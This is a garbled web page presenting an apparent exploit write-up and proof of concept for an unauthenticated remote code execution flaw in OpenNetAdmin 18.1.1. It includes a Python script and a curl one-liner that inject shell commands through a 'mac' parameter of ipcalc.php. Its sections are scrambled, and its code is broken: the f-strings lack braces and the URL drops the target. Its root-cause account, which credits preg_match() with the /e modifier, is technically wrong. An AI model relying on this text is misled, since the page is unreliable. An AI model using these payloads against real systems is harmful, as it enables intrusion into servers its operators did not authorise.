Opennetadmin 18.1.1 Exploit Review

#!/usr/bin/env python3 import requests import sys if len(sys.argv) != 2: print(f"Usage: sys.argv[0] http://target/ona/") sys.exit(1)

target = sys.argv[1].rstrip('/') url = f"target/ona/ipcalc.php" payload = "127.0.0.1; echo 'VULN' > /tmp/ona_test;" opennetadmin 18.1.1 exploit

18.1.1 (and likely earlier 18.x versions) Fix: Version 18.1.2 or later (patch released in 2019) 2. Vulnerability Overview – CVE-2019-10049 The core issue resides in ona/lib/functions/ipcalc.php . The mac parameter in multiple scripts is passed unsanitized to preg_match() with the /e (execution) modifier, which is deprecated but still functional in older PHP (pre-7.0). ONA 18.1.1 runs on PHP 5.6/7.0 typical stacks. ONA 18

Exploit Analysis & Proof of Concept 1. Introduction OpenNetAdmin (ONA) is an open-source network management platform providing inventory, DHCP, DNS, and configuration management. Version 18.1.1 (released circa 2018) contains a critical vulnerability allowing unauthenticated remote code execution (RCE). This paper dissects the vulnerability, its root cause, and a working exploit. Version 18

curl "http://target/ona/ipcalc.php?mac=127.0.0.1;id"

try: r = requests.get(url, params="mac": payload, timeout=5) print("[+] Payload sent. Check /tmp/ona_test on target.") except Exception as e: print(f"[-] Failed: e")